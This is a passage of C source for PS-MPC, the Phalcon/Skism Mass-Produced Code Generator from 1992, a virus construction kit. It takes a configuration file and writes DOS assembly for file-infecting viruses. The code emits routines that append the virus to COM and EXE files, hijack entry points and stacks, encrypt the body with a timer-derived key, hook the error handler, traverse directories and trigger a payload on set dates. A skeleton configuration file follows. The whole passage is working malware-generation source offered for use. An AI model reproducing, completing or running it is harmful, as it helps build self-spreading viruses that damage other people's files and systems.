  943.     write_encrypt();
  944.   } else {
  945.     print("mov  ah,40h","Concatenate virus");
  946.     print("lea  dx,[bp+startvirus]","");
  947.     print("mov  cx,heap-startvirus","# bytes to write");
  948.     print("int  21h","");
  949.     printblank();
  950.   }
  951.   print("mov  ax,5701h","Restore creation date/time");
  952.   print("mov  cx,word ptr [bp+newDTA+16h]","time");
  953.   print("mov  dx,word ptr [bp+newDTA+18h]","date");
  954.   print("int  21h","");
  955.   printblank();
  956.   print("mov  ah,3eh","Close file");
  957.   print("int  21h","");
  958.   printblank();
  959.   print("mov ch,0","");
  960.   print("mov cl,byte ptr [bp+newDTA+15h]","Restore original");
  961.   print("call attributes","attributes");
  962.   printblank();
  963.   if (config.maxinfect)
  964.   {
  965.     print("dec  byte ptr [bp+numinfec]","One mo infection");
  966.     print("jnz  mo_infections","Not enough");
  967.     if (config.p.calls_check)
  968.       print("pop  ax","remove call from stack");
  969.     print("jmp  done_infections","");
  970.   }
  971.   printlabel("mo_infections: jmp find_next","");
  972.   printblank();
  973. }
  974.  
  975. void write_encrypt(void)
  976. {
  977.   if (!config.p.allowzero)
  978.     printlabel("get_encrypt_value:","");
  979.   print("mov  ah,2ch","Get current time");
  980.   print("int  21h","dh=sec,dl=1/100 sec");
  981.   if (!config.p.allowzero) {
  982.     print("or  dx,dx","Check if encryption value = 0");
  983.     print("jz  get_encrypt_value","Get another if it is");
  984.   }
  985.   print("mov  [bp+decrypt_value],dx","Set new encryption value");
  986.   addheap("code_store:","db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)","");
  987.  _addheap("; The following code is the buffer for the write function");
  988.   print("lea  di,[bp+code_store]","");
  989.   print("mov  ax,5355h","push bp,push bx");
  990.   print("stosw","");
  991.   print("lea  si,[bp+decrypt]","Copy encryption function");
  992.   print("mov  cx,startencrypt-decrypt","Bytes to move");
  993.   print("push si","Save for later use");
  994.   print("push cx","");
  995.   print("rep  movsb","");
  996.   printblank();
  997.   if (config.xor_value)
  998.   {
  999.     char b[80];
  1000.     sprintf(b,"xor  byte ptr [bp+decrypt_loop+%c],0%2.2xh",
  1001.            (config.p.infectEXE) ? '2' : '1', config.xor_value);
  1002.     print(b,config.xor_comment);
  1003.     printblank();
  1004.   }
  1005.   print("lea    si,[bp+write]","Copy writing function");
  1006.   print("mov    cx,endwrite-write","Bytes to move");
  1007.   print("rep    movsb","");
  1008.   print("pop    cx","");
  1009.   print("pop    si","");
  1010.  
  1011.   print("pop    dx","Entry point of virus");
  1012.  
  1013.   print("push   di","");
  1014.   print("push   si","");
  1015.   print("push   cx","");
  1016.   print("rep    movsb","Copy decryption function");
  1017.   print("mov    ax,5b5dh","pop bx,pop bp");
  1018.   print("stosw","");
  1019.   print("mov    al,0c3h","retn");
  1020.   print("stosb","");
  1021.   printblank();
  1022.   print("add    dx,offset startencrypt - offset decrypt","Calculate new");
  1023.   print("mov    word ptr [bp+patch_startencrypt+1],dx","starting offset of");
  1024.   print("call   code_store","decryption");
  1025.   print("pop    cx","");
  1026.   print("pop    di","");
  1027.   print("pop    si","");
  1028.   print("rep    movsb","Restore decryption function");
  1029.   printblank();
  1030. }
  1031.  
  1032. void code_infect_EXE(void)
  1033. {
  1034.   print("les  ax, dword ptr [bp+buffer+14h]","Save old entry point");
  1035.   print("mov  word ptr [bp+jmpsave2], ax","");
  1036.   print("mov  word ptr [bp+jmpsave2+2], es","");
  1037.   printblank();
  1038.   print("les  ax, dword ptr [bp+buffer+0Eh]","Save old stack");
  1039.   print("mov  word ptr [bp+stacksave2], es","");
  1040.   print("mov  word ptr [bp+stacksave2+2], ax","");
  1041.   printblank();
  1042.   print("mov  ax, word ptr [bp+buffer + 8]","Get header size");
  1043.   print("mov  cl, 4","convert to bytes");
  1044.   print("shl  ax, cl","");
  1045.   print("xchg ax, bx","");
  1046.   printblank();
  1047.   print("les  ax, [bp+offset newDTA+26]","Get file size");
  1048.   print("mov  dx, es","to DX:AX");
  1049.   print("push ax","");
  1050.   print("push dx","");
  1051.   printblank();
  1052.   print("sub  ax, bx","Subtract header size from");
  1053.   print("sbb  dx, 0","file size");
  1054.   printblank();
  1055.   print("mov  cx, 10h","Convert to segment:offset");
  1056.   print("div  cx","form");
  1057.   printblank();
  1058.   print("mov  word ptr [bp+buffer+14h], dx","New entry point");
  1059.   print("mov  word ptr [bp+buffer+16h], ax","");
  1060.   printblank();
  1061.   print("mov  word ptr [bp+buffer+0Eh], ax","and stack");
  1062.   print("mov  word ptr [bp+buffer+10h], id","");
  1063.   printblank();
  1064.   print("pop  dx","get file length");
  1065.   print("pop  ax","");
  1066.   printblank();
  1067.   if (config.p.encrypt)
  1068.     print("add  ax, heap-decrypt","add virus size");
  1069.   else
  1070.     print("add  ax, heap-startvirus","add virus size");
  1071.   print("adc  dx, 0","");
  1072.   printblank();
  1073.   print("mov  cl, 9","");
  1074.   print("push ax","");
  1075.   print("shr  ax, cl","");
  1076.   print("ror  dx, cl","");
  1077.   print("stc","");
  1078.   print("adc  dx, ax","");
  1079.   print("pop  ax","");
  1080.   print("and  ah, 1","mod 512");
  1081.   printblank();
  1082.   print("mov  word ptr [bp+buffer+4], dx","new file size");
  1083.   print("mov  word ptr [bp+buffer+2], ax","");
  1084.   printblank();
  1085.   print("push cs","restore ES");
  1086.   print("pop  es","");
  1087.   printblank();
  1088.   if (config.p.encrypt)
  1089.     print("push word ptr [bp+buffer+14h]","needed later");
  1090.   print("mov  cx, 1ah","");
  1091. }
  1092. ----------------------------------- Cut Here ----------------------------------
  1093. /* FILE: VMAIN.C */
  1094. /* The Phalcon/Skism Mass-Produced Code Generator *
  1095.  * Version 0.90▀ - 27 Jul 92 - Initial Release    *
  1096.  * Written by Dark Angel of Phalcon/Skism         *
  1097.  * Source code released with 40Hex-8              *
  1098.  */
  1099.  
  1100. #include <stdio.h>
  1101.  
  1102. #define MAIN
  1103. #include "vheader.h"
  1104. #undef MAIN
  1105.  
  1106. globals config;
  1107.  
  1108. void parse_config(void);
  1109. unsigned getnumber(int line, char *d, char ok, char *next);
  1110. char getyn(int line, char *d);
  1111. void setplusminus(char *a, char b);
  1112. void parseactivate(int line, char *d, char min, char max, char *a, char *b,char *s);
  1113. void printerror(int line, char c);
  1114. void getDBname(char *orig, char *name,char *delim);
  1115.  
  1116. FILE *fp;
  1117.  
  1118. void main(int argc, char **argv)
  1119. {
  1120.   char c,filename[80];
  1121.  
  1122.   puts("PS-MPC æ Phalcon/Skism Mass Produced Code Generator");
  1123.   puts("       æ Version 0.90▀        Written by Dark Angel\n");
  1124.  
  1125.   if (argc < 2)
  1126.   {
  1127.     puts("Syntax: PS-MPC <file1> <file2> ...");
  1128.     puts("  file1 = name of first configuration file");
  1129.     puts("  file2 = name of second configuration file");
  1130.   }
  1131.  
  1132.   for (c=1;c<argc;c++)
  1133.   {
  1134.     if ((fp = fopen(argv[c],"rt")) == NULL)
  1135.     {
  1136.       printf("Error opening configuration file (%s).\n",argv[c]);
  1137.       puts("Skipping file...");
  1138.       continue;
  1139.     }
  1140.  
  1141.     printf("Reading configuration file (%s)...",argv[c]);
  1142.     resetheap();
  1143.     parse_config();
  1144.     strcpy(config.configfilename,argv[c]);
  1145.  
  1146.     fclose(fp);
  1147.     puts("Done!");
  1148.  
  1149.     if (!config.p.infectCOM && !config.p.infectEXE) {
  1150.       puts("Warning: Virus does not infect any type of file.");
  1151.       puts("Remedy:  Use the \"infect\" parameter in the configuration file.");
  1152.       puts("Skipping file...");
  1153.       continue;
  1154.     }
  1155.  
  1156.     if (!config.asmfilename[0]) {
  1157.       puts("Warning: No target file name specified.");
  1158.       puts("Remedy:  Use the \"filename\" parameter in the configuration file.");
  1159.       puts("Skipping file...");
  1160.       continue;
  1161.     }
  1162.  
  1163.     if ((fp = fopen(config.asmfilename,"wt")) == NULL)
  1164.     {
  1165.       printf("Error opening target file (%s).\n",config.asmfilename);
  1166.       puts("Skipping file...");
  1167.       continue;
  1168.     }
  1169.  
  1170.     printf("Creating target file (%s)...",config.asmfilename);
  1171.  
  1172.     code_header();
  1173.     code_encryption();
  1174.     code_setup();
  1175.     code_traversal();
  1176.     code_check_activation();
  1177.     code_return();
  1178.     code_activate();
  1179.     code_messages();
  1180.     if (config.p.calls_check)
  1181.       code_check();
  1182.     code_infect();
  1183.     code_subroutines();
  1184.     code_variables();
  1185.     code_heap();
  1186.     code_tail();
  1187.  
  1188.     fclose(fp);
  1189.     puts("Done!");
  1190.   }
  1191.   puts("\nThank you for using the Phalcon/Skism Mass Produced Code Generator");
  1192.   exit(0);
  1193. }
  1194.  
  1195. void print(char *s, char *t)
  1196. {
  1197.   char b[80];
  1198.   sprintf(b,"          %s",s);
  1199.   printlabel(b,t);
  1200. }
  1201.  
  1202. void printlabel(char *s, char *t)
  1203. {
  1204.   int i = 0;
  1205.   if (*s)
  1206.     if (*t) {
  1207.       i = fprintf(fp,"%-40s",s);
  1208.       if (i > 40)
  1209.         fputc(' ',fp);
  1210.       fprintf(fp,"; %s",t);
  1211.     } else /* if (*t) */
  1212.       fprintf(fp,s);
  1213.   fprintf(fp,"\n");
  1214. }
  1215.  
  1216. void addvar(char *s, char *t, char *u)
  1217. {
  1218.   char b[80];
  1219.   if (*u)
  1220.     sprintf(b,"%-20.20s%-20.20s; %s",s,t,u);
  1221.   else
  1222.     sprintf(b,"%-20.20s%s",s,t);
  1223.   printlabel(b,"");
  1224. }
  1225.  
  1226. void parse_config(void)
  1227. {
  1228.     char b[80];
  1229.     char *c, *d;
  1230.     int  line = 0;
  1231.     globals default_globals = {
  1232.         "",                       /* Configuration file name              */
  1233.         "",                       /* Source code file name                */
  1234.         "  ",                     /* EXE ID Word                          */
  1235.         "",                       /* Virus name                           */
  1236.         '\'',                     /* Deliminator for virus name           */
  1237.         "",                       /* Author name                          */
  1238.         '\'',                     /* Deliminator for author name          */
  1239.         0,                        /* Minimum COM size for infection       */
  1240.         0,                        /* Maximum COM size for infection       */
  1241.         0,                        /* Infections per run                   */
  1242.         { 0,0,NONE,0,0,0,0 },     /* flags                                */
  1243.         0,                        /* xor value                            */
  1244.         "",                       /* xor comment                          */
  1245.         0,                        /* number of activation conditions      */
  1246.         { 0,0,0,0,0,-1,0,-1,-1,-1,0 }, /* activation conditions           */
  1247.         { 0,0,0,0,0, 0,0, 0, 0, 0,-1}  /* plusminus activation conditions */
  1248.     };
  1249.  
  1250.     config = default_globals;
  1251.  
  1252.     while (1)
  1253.     {
  1254.         line++;
  1255.         b[0]=0;
  1256.         c = fgets(b,100,fp);
  1257.         if (!b[0])
  1258.           break;
  1259.         while (isspace(*c)) c++;    /* skip initial spaces */
  1260.         if (!*c || *c == ';') continue;    // check if this line is a comment
  1261.         d = c;
  1262.         while (!isspace(*d)) d++;   /* isolate one word  */
  1263.         *d++ = 0;                   /* NULL terminate it */
  1264.         while (isspace(*d) || (*d == '=')) d++;
  1265.  
  1266.         if (!stricmp(c,"filename"))
  1267.         {
  1268.           c = d;
  1269.           while (!isspace(*d)) d++; /* isolate filename */
  1270.           *d = 0;
  1271.           strcpy(config.asmfilename,c);
  1272.         }
  1273.  
  1274.         else if (!stricmp(c,"traversal"))
  1275.           switch (toupper(*d))
  1276.           {
  1277.             case 'N' : config.p.traverse = NONE; break;
  1278.             case 'D' : config.p.traverse = DOT_DOT; break;
  1279.             default  : printerror(line,*d);
  1280.           }
  1281.  
  1282.         else if (!stricmp(c,"encryption")) config.p.encrypt = getyn(line,d);
  1283.  
  1284.         else if (!stricmp(c,"infect")) {
  1285.           while (!isspace(*d)) {
  1286.             switch (toupper(*d))
  1287.             {
  1288.               case 'C' : config.p.infectCOM = 1; break;
  1289.               case 'E' : config.p.infectEXE = 1; break;
  1290.               case ',' : break;
  1291.               default  : printerror(line,*d);
  1292.             }
  1293.             d++;
  1294.           }
  1295.         }
  1296.  
  1297.         else if (!stricmp(c,"idword")) {
  1298.           config.id[0] = (isspace(*d)) ? ' ' : *d;
  1299.           config.id[1] = (isspace(*(d+1))) ? ' ' : *(d+1);
  1300.           config.id[2]=0;
  1301.         }
  1302.  
  1303.         else if (!stricmp(c,"minsize")) {
  1304.           if (toupper(*d) == 'A')
  1305.             config.minsize = 1;
  1306.           else {
  1307.             config.minsize = getnumber(line,d,0,0);
  1308.             if (config.maxsize > 1)
  1309.               if (config.minsize > config.maxsize)
  1310.                 puts("Error: minsize is greater than maxsize!");
  1311.           }
  1312.         }
  1313.  
  1314.         else if (!stricmp(c,"maxsize")) {
  1315.           if (toupper(*d) == 'A')
  1316.             config.maxsize = 1;
  1317.           else {
  1318.             config.maxsize = getnumber(line,d,0,0);
  1319.             if (config.minsize > 1)
  1320.               if (config.maxsize < config.minsize)
  1321.                 printf("Error: minsize is greater than maxsize!\n");
  1322.           }
  1323.         }
  1324.  
  1325.         else if (!stricmp(c,"infections"))
  1326.           config.maxinfect = (unsigned char)getnumber(line,d,0,0);
  1327.  
  1328.         else if (!stricmp(c,"errorhandler"))
  1329.           config.p.int24 = getyn(line,d);
  1330.  
  1331.         else if (!stricmp(c,"commandcom"))
  1332.           config.p.CommandCom = getyn(line,d);
  1333.  
  1334.         else if (!stricmp(c,"virusname"))
  1335.           getDBname(d,config.virusname,&config.virusnamedelim);
  1336.  
  1337.         else if (!stricmp(c,"authorname"))
  1338.           getDBname(d,config.authorname,&config.authornamedelim);
  1339.  
  1340.         else if (!stricmp(c,"allowzero"))
  1341.           config.p.allowzero = getyn(line,d);
  1342.  
  1343.         else if (!stricmp(c,"always")) {
  1344.           config.activate.always = getyn(line,d);
  1345.           if (config.activate.always) config.activation++;
  1346.         }
  1347.  
  1348.         else if (!stricmp(c,"ifmonth"))
  1349.           parseactivate(line,d,1,12,&config.activate.month,&config.plusminus.month,"month");
  1350.  
  1351.         else if (!stricmp(c,"ifday"))
  1352.           parseactivate(line,d,1,31,&config.activate.day,&config.plusminus.day,"day");
  1353.  
  1354.         else if (!stricmp(c,"ifyear"))
  1355.         {
  1356.           config.activate.year = getnumber(line,d,'+',d);
  1357.           setplusminus((char *)&config.plusminus.year,*d);
  1358.           config.activation++;
  1359.         }
  1360.  
  1361.         else if (!stricmp(c,"ifdow"))
  1362.           parseactivate(line,d,0,6,&config.activate.dow,&config.plusminus.dow,"date of week");
  1363.  
  1364.         else if (!stricmp(c,"ifmonthday"))
  1365.         {
  1366.           int  tempint;
  1367.           char temp=(char)getnumber(line,d,',',d);
  1368.           if ((temp < 1) || (temp > 12))
  1369.             printf("Invalid month: %d.  Must range between 1 and 12.\n",temp);
  1370.           else {
  1371.             d++;
  1372.             tempint = temp*0x100;
  1373.             temp=(char)getnumber(line,d,'+',d);
  1374.             if ((temp < 1) || (temp > 31))
  1375.             {
  1376.               printf("Invalid day: %d.  Must range between 1 and 31.\n",temp);
  1377.             } else {
  1378.               config.activate.monthday=tempint + temp;
  1379.               setplusminus((char *)&config.plusminus.monthday,*d);
  1380.               config.activation++;
  1381.             }
  1382.           }
  1383.         }
  1384.  
  1385.         else if (!stricmp(c,"ifhour"))
  1386.           parseactivate(line,d,0,23,&config.activate.hour,&config.plusminus.hour,"hour");
  1387.  
  1388.         else if (!stricmp(c,"ifminute"))
  1389.           parseactivate(line,d,0,59,&config.activate.minute,&config.plusminus.minute,"minute");
  1390.  
  1391.         else if (!stricmp(c,"ifsecond"))
  1392.           parseactivate(line,d,0,59,&config.activate.second,&config.plusminus.second,"second");
  1393.  
  1394.         else if (!stricmp(c,"percentage"))
  1395.           parseactivate(line,d,1,99,&config.activate.percentage,0,"percentage");
  1396.  
  1397.         else if (!isspace(c))
  1398.           printf("Error in line %d: Invalid parameter '%s'.\n",line,c);
  1399.     }
  1400. }
  1401.  
  1402. unsigned int getnumber(int line,char *d,char ok,char *next)
  1403. {
  1404.   int temp = 0;
  1405.   while (isdigit(*d))
  1406.   {
  1407.     temp*=10;
  1408.     temp+=(*d-'0');
  1409.     d++;
  1410.   }
  1411.   if ((ok == '+') && (!((*d == '+') || (*d == '-'))) && !isspace(*d))
  1412.     printerror(line,*d);
  1413.   else
  1414.     if (next) *next=*d;
  1415.   return temp;
  1416. }
  1417.  
  1418. char getyn(int line,char *d)
  1419. {
  1420.   switch (toupper(*d))
  1421.   {
  1422.     case 'Y' : return 1;
  1423.     case 'N' : return 0;
  1424.     default  : printerror(line,*d);
  1425.   }
  1426.   return 0;
  1427. }
  1428.  
  1429. void setplusminus(char *a, char b)
  1430. {
  1431.     if (b == '+')
  1432.       *a = 1;
  1433.     else if (b == '-')
  1434.       *a = -1;
  1435.     else
  1436.       *a = 0;
  1437. }
  1438.  
  1439. void parseactivate(int line, char *d, char min, char max, char *a, char *b, char *s)
  1440. {
  1441.   char *c=d;
  1442.   char temp = (char)getnumber(line,d,'+',c);
  1443.   if ((temp < min) || (temp > max))
  1444.     printf("Invalid %s specified: %d.  Range must be between %d & %d.\n",s,temp,min,max);
  1445.   else {
  1446.     *a = temp;
  1447.     if (b != 0) setplusminus(b,*c);
  1448.     config.activation++;
  1449.   }
  1450. }
  1451.  
  1452. void printerror(int line, char c)
  1453. {
  1454.   printf("Error in line %d: Invalid character '%c'.\n",line,c);
  1455. }
  1456.  
  1457. void printblank(void)
  1458. {
  1459.   fprintf(fp,"\n");
  1460. }
  1461. void getDBname(char *orig, char *name,char *delim)
  1462. {
  1463.   *delim = '\'';
  1464.   orig[strlen(orig)-1] = 0;
  1465.   if (strchr(orig,'\''))
  1466.     if (strchr(orig,'\"')) {
  1467.       *delim = 0;
  1468.       printf("Error in %s: Both single and double quotes used.",orig);
  1469.     }
  1470.     else
  1471.       *delim = '\"';
  1472.   if (*delim)
  1473.     strcpy(name,orig);
  1474. }
  1475. ----------------------------------- Cut Here ----------------------------------
  1476. /* FILE: VMESSAGE.C */
  1477. #include "vheader.h"
  1478.  
  1479. void code_messages(void)
  1480. {
  1481.     char b[80];
  1482.     addvar("creator","db '[MPC]',0","Mass Produced Code Generator");
  1483.     if (config.virusname[0]) {
  1484.       sprintf(b,"db %c%s%c,0",config.virusnamedelim, config.virusname,
  1485.                               config.virusnamedelim);
  1486.       addvar("virusname",b,"");
  1487.     }
  1488.     if (config.authorname[0]) {
  1489.       sprintf(b,"db %c%s%c,0",config.authornamedelim, config.authorname,
  1490.                               config.authornamedelim);
  1491.       addvar("author",b,"");
  1492.     }
  1493.     printblank();
  1494. }
  1495. ----------------------------------- Cut Here ----------------------------------
  1496. /* FILE: VRETURN.C */
  1497. #include "vheader.h"
  1498.  
  1499. void return_EXE(void);
  1500. void return_COM(void);
  1501.  
  1502. void code_return(void)
  1503. {
  1504.   char s[80];
  1505.   if (config.activation)
  1506.     printlabel("exit_virus:","");
  1507.   if (config.p.int24)
  1508.   {
  1509.     print("mov  ax,2524h","Restore int 24 handler");
  1510.     print("lds  dx,[bp+offset oldint24]","to original");
  1511.     print("int  21h","");
  1512.     print("push cs","");
  1513.     print("pop  ds","");
  1514.     printblank();
  1515.   }
  1516.   if (config.p.traverse == DOT_DOT) {
  1517.     print("mov  ah,3bh","change directory");
  1518.     print("lea  dx,[bp+origdir-1]","original directory");
  1519.     print("int  21h","");
  1520.     printblank();
  1521.   }
  1522.   print("mov  ah,1ah","restore DTA to default");
  1523.   print("mov  dx,80h","DTA in PSP");
  1524.   if (config.p.infectEXE)
  1525.   {
  1526.     if (config.p.infectCOM)
  1527.     {
  1528.       print("cmp  sp,id-4","EXE or COM?");
  1529.       print("jz   returnEXE","");
  1530.       printlabel("returnCOM:","");
  1531.       return_COM();
  1532.       printlabel("returnEXE:","");
  1533.       return_EXE();
  1534.     } else /* EXE only */
  1535.     {
  1536.       return_EXE();
  1537.     }
  1538.   } else
  1539.   {
  1540.     return_COM();
  1541.     addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
  1542.   }
  1543.   printblank();
  1544. }
  1545.  
  1546. void return_EXE(void)
  1547. {
  1548.   print("pop  es","");
  1549.   print("pop  ds","");
  1550.   print("int  21h","");
  1551.   print("mov  ax,es","AX = PSP segment");
  1552.   print("add  ax,10h","Adjust for PSP");
  1553.   print("add  word ptr cs:[bp+jmpsave+2],ax","");
  1554.   print("add  ax,word ptr cs:[bp+stacksave+2]","");
  1555.   print("cli","Clear intrpts for stack manipulation");
  1556.   print("mov  sp,word ptr cs:[bp+stacksave]","");
  1557.   print("mov  ss,ax","");
  1558.   print("sti","");
  1559.   print("db   0eah","jmp ssss:oooo");
  1560.   addvar("jmpsave","dd ?","Original CS:IP");
  1561.   addvar("stacksave","dd ?","Original SS:SP");
  1562.   if (config.p.infectCOM) {
  1563.     addvar("jmpsave2","db ?","Actually four bytes");
  1564.     addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
  1565.   } else
  1566.     addvar("jmpsave2","dd 0fff00000h","Needed for carrier file");
  1567.   addvar("stacksave2","dd ?","");
  1568. }
  1569.  
  1570. void return_COM(void)
  1571. {
  1572.   print("int  21h","");
  1573.   print("retn","100h is on stack");
  1574. }
  1575. ----------------------------------- Cut Here ----------------------------------
  1576. /* FILE: VSETUP.C */
  1577. #include "vheader.h"
  1578.  
  1579. void restore_COM(void);
  1580. void restore_EXE(void);
  1581.  
  1582. void code_setup(void)
  1583. {
  1584.   addheap("buffer","db 1ah dup (?)","read buffer");
  1585.   if (!config.p.encrypt)
  1586.     printlabel("startvirus:","virus code starts here");
  1587.   print("call next","calculate delta offset");
  1588.   printlabel("next:     pop  bp","bp = IP next");
  1589.   print("sub  bp,offset next","bp = delta offset");
  1590.   printblank();
  1591.   if (config.p.infectEXE)
  1592.   {
  1593.     if (config.p.infectCOM) /* COM & EXE */
  1594.     {
  1595.       print("cmp  sp,id","COM or EXE?");
  1596.       print("je   restoreEXE","");
  1597.       printlabel("restoreCOM:","");
  1598.       restore_COM();
  1599.       print("jmp  short restoreEXIT","");
  1600.       printlabel("restoreEXE:","");
  1601.       restore_EXE();
  1602.       printlabel("restoreEXIT:","");
  1603.       print("movsw","");
  1604.     } else /* EXE ONLY */
  1605.       restore_EXE();
  1606.   } else
  1607.     restore_COM();
  1608.  
  1609.   printblank();
  1610.   if (config.maxinfect)
  1611.   {
  1612.     char b[80];
  1613.     addheap("numinfec","db ?","Infections this run");
  1614.     sprintf(b,"mov  byte ptr [bp+numinfec],%u",config.maxinfect);
  1615.     print(b,"reset infection counter");
  1616.     printblank();
  1617.   }
  1618.   print("mov  ah,1Ah","Set new DTA");
  1619.   print("lea  dx,[bp+newDTA]","new DTA @ DS:DX");
  1620.   print("int  21h","");
  1621.   printblank();
  1622.   addheap("newDTA","db 43 dup (?)","Temporary DTA");
  1623.   if (config.p.traverse == DOT_DOT)
  1624.   {
  1625.     print("mov  ah,47h","Get current directory");
  1626.     print("mov  dl,0","Current drive");
  1627.     print("lea  si,[bp+origdir]","DS:SI->buffer");
  1628.     print("int  21h","");
  1629.     print("mov  byte ptr [bp+backslash],'\\'","Prepare for later CHDIR");
  1630.     addheap("origdir","db 64 dup (?)","Current directory buffer");
  1631.     addheap("backslash","db ?","");
  1632.     printblank();
  1633.   }
  1634.   if (config.p.int24)
  1635.   {
  1636.     addheap("oldint24","dd ?","Storage for old int 24h handler");
  1637.     print("mov  ax,3524h","Get int 24 handler");
  1638.     print("int  21h","to ES:BX");
  1639.     print("mov  word ptr [bp+oldint24],bx","Save it");
  1640.     print("mov  word ptr [bp+oldint24+2],es","");
  1641.     print("mov  ah,25h","Set new int 24 handler");
  1642.     print("lea  dx,[bp+offset int24]","DS:DX->new handler");
  1643.     print("int  21h","");
  1644.     print("push cs","Restore ES");
  1645.     print("pop  es","'cuz it was changed");
  1646.     printblank();
  1647.   }
  1648. }
  1649.  
  1650. void restore_EXE(void)
  1651. {
  1652.   print("push ds","");
  1653.   print("push es","");
  1654.   print("push cs","DS = CS");
  1655.   print("pop  ds","");
  1656.   print("push cs","ES = CS");
  1657.   print("pop  es","");
  1658.   print("lea  si,[bp+jmpsave2]","");
  1659.   print("lea  di,[bp+jmpsave]","");
  1660.   print("movsw","");
  1661.   print("movsw","");
  1662.   print("movsw","");
  1663.   if (!config.p.infectCOM)
  1664.     print("movsw","");
  1665. }
  1666.  
  1667. void restore_COM(void)
  1668. {
  1669.   print("lea  si,[bp+save3]","");
  1670.   print("mov  di,100h","");
  1671.   print("push di","For later return");
  1672.   if (!config.p.infectEXE)
  1673.     print("movsw","");
  1674.   print("movsb","");
  1675. }
  1676. ----------------------------------- Cut Here ----------------------------------
  1677. /* FILE: VSUBS.C */
  1678. #include "vheader.h"
  1679.  
  1680. void code_subroutines(void)
  1681. {
  1682.   printlabel("open:","");
  1683.   print("mov  ah,3dh","");
  1684.   print("lea  dx,[bp+newDTA+30]","filename in DTA");
  1685.   print("int  21h","");
  1686.   print("xchg ax,bx","");
  1687.   print("ret","");
  1688.   printblank();
  1689.   printlabel("attributes:","");
  1690.   print("mov  ax,4301h","Set attributes to cx");
  1691.   print("lea  dx,[bp+newDTA+30]","filename in DTA");
  1692.   print("int  21h","");
  1693.   print("ret","");
  1694.   printblank();
  1695.   if (config.p.encrypt)
  1696.   {
  1697.     printlabel("write:","");
  1698.     print("pop  bx","Restore file handle");
  1699.     print("pop  bp","Restore relativeness");
  1700.     print("mov  ah,40h","Write to file");
  1701.     print("lea  dx,[bp+decrypt]","Concatenate virus");
  1702.     print("mov  cx,heap-decrypt","# bytes to write");
  1703.     print("int  21h","");
  1704.     print("push bx","");
  1705.     print("push bp","");
  1706.     printlabel("endwrite:","");
  1707.     printblank();
  1708.   }
  1709.   if (config.p.int24)
  1710.   {
  1711.     printlabel("int24:","New int 24h (error) handler");
  1712.     print("mov  al,3","Fail call");
  1713.     print("iret","Return control");
  1714.     printblank();
  1715.   }
  1716. }
  1717. ----------------------------------- Cut Here ----------------------------------
  1718. /* FILE: VTAIL.C */
  1719. #include "vheader.h"
  1720.  
  1721. void code_tail(void)
  1722. {
  1723.   if (config.p.infectCOM)
  1724.     printlabel("end       entry_point","");
  1725.   else
  1726.     if (config.p.encrypt)
  1727.       printlabel("end       decrypt","");
  1728.     else
  1729.       printlabel("end       startvirus","");
  1730. }
  1731. ----------------------------------- Cut Here ----------------------------------
  1732. /* FILE: VTRAVEL.C */
  1733. #include "vheader.h"
  1734.  
  1735. void code_traversal_generic(void);
  1736. void dot_dot(void);
  1737. void lea_exe(void);
  1738. void lea_com(void);
  1739.  
  1740. void code_traversal(void)
  1741. {
  1742.   config.p.calls_check = 0;
  1743.   switch (config.p.traverse)
  1744.   {
  1745.     case NONE:    code_traversal_generic(); break;
  1746.     case DOT_DOT: printlabel("dir_scan:","\"dot dot\" traversal");
  1747.                   code_traversal_generic();
  1748.                   dot_dot();
  1749.                   break;
  1750.   }
  1751.   printblank();
  1752.   printlabel("done_infections:","");
  1753. }
  1754.  
  1755. void code_traversal_generic(void)
  1756. {
  1757.   if (config.p.infectEXE) {
  1758.     lea_exe();
  1759.     if (!config.p.infectCOM)
  1760.       code_check();
  1761.   }
  1762.   if (config.p.infectCOM) {
  1763.     lea_com();
  1764.     if (config.p.infectEXE)
  1765.       config.p.calls_check++;
  1766.     else
  1767.       code_check();
  1768.   }
  1769. }
  1770.  
  1771. void lea_exe(void)
  1772. {
  1773.   print("lea  dx,[bp+exe_mask]","");
  1774.   if (config.p.infectCOM)
  1775.     print("call infect_mask","");
  1776. }
  1777.  
  1778. void lea_com(void)
  1779. {
  1780.   print("lea  dx,[bp+com_mask]","");
  1781.   if (config.p.infectEXE)
  1782.     print("call infect_mask","");
  1783. }
  1784.  
  1785. void dot_dot(void)
  1786. {
  1787.   print("mov  ah,3bh","change directory");
  1788.   print("lea  dx,[bp+dot_dot]","\"cd ..\"");
  1789.   print("int  21h","");
  1790.   print("jnc  dir_scan","go back for mo!");
  1791. }
  1792. ----------------------------------- Cut Here ----------------------------------
  1793. /* FILE: VVAR.C */
  1794. #include "vheader.h"
  1795.  
  1796. void code_variables(void)
  1797. {
  1798.   if (config.p.infectEXE) addvar("exe_mask","db '*.exe',0","");
  1799.   if (config.p.infectCOM) addvar("com_mask","db '*.com',0","");
  1800.   if (config.p.traverse == DOT_DOT)
  1801.     addvar("dot_dot","db '..',0","");
  1802. }
  1803. ----------------------------------- Cut Here ----------------------------------
  1804. ; FILE: SKELETON.CFG
  1805. ; Skeleton configuration file for PS-MPC version 0.90▀
  1806. ; Lines beginning with semicolons denote comments
  1807.  
  1808. ; Required parameters:
  1809.  
  1810. ; Filename = <string>
  1811. ; This is the filename to be generated by PS-MPC as the source code file.
  1812. Filename = target.asm
  1813.  
  1814. ; Infect = (C,E)
  1815. ; COM, EXE
  1816. ; Note: You can mix the two, a la "Infect = C,E"  Do not use a space to
  1817. ;       deliminate the two parameters.
  1818. Infect = C,E
  1819.  
  1820. ; Optional parameters - Defaults are shown in square brackets
  1821.  
  1822. ; Traversal = <N,D>
  1823. ; ([None], Dot Dot)
  1824. ; If None is specified, then only the files in the current directory will be
  1825. ; infected.  If Dot dot is specified, then files in the current directory and
  1826. ; subdirectories below the current will be infected.
  1827. Traversal = N
  1828.  
  1829. ; Encrypted = <Y,N>
  1830. ; (Yes, [No])
  1831. ; Only turn off encryption if you wish to limit the size of the virus.
  1832. Encryption = Y
  1833.  
  1834. ; IDWord = XX
  1835. ; ([  ],XX)
  1836. ; The IDWord consists of two characters which are used to identify already
  1837. ; infected EXE files.  This line is not needed in COM-only infectors.  Do
  1838. ; not use an apostrophe or the source code will not assemble properly.
  1839. IDWord = DA
  1840.  
  1841. ; MinSize = #
  1842. ; (A,[0]..65535)
  1843. ; MinSize is used only in the infection of COM files.  Files under MinSize
  1844. ; bytes are not infected.  MinSize = 0 turns off this option.  MinSize = A
  1845. ; indicates use of the virus's effective length as the minimum size.  This
  1846. ; line is ignored in EXE-specific infectors.
  1847. MinSize = 0
  1848.  
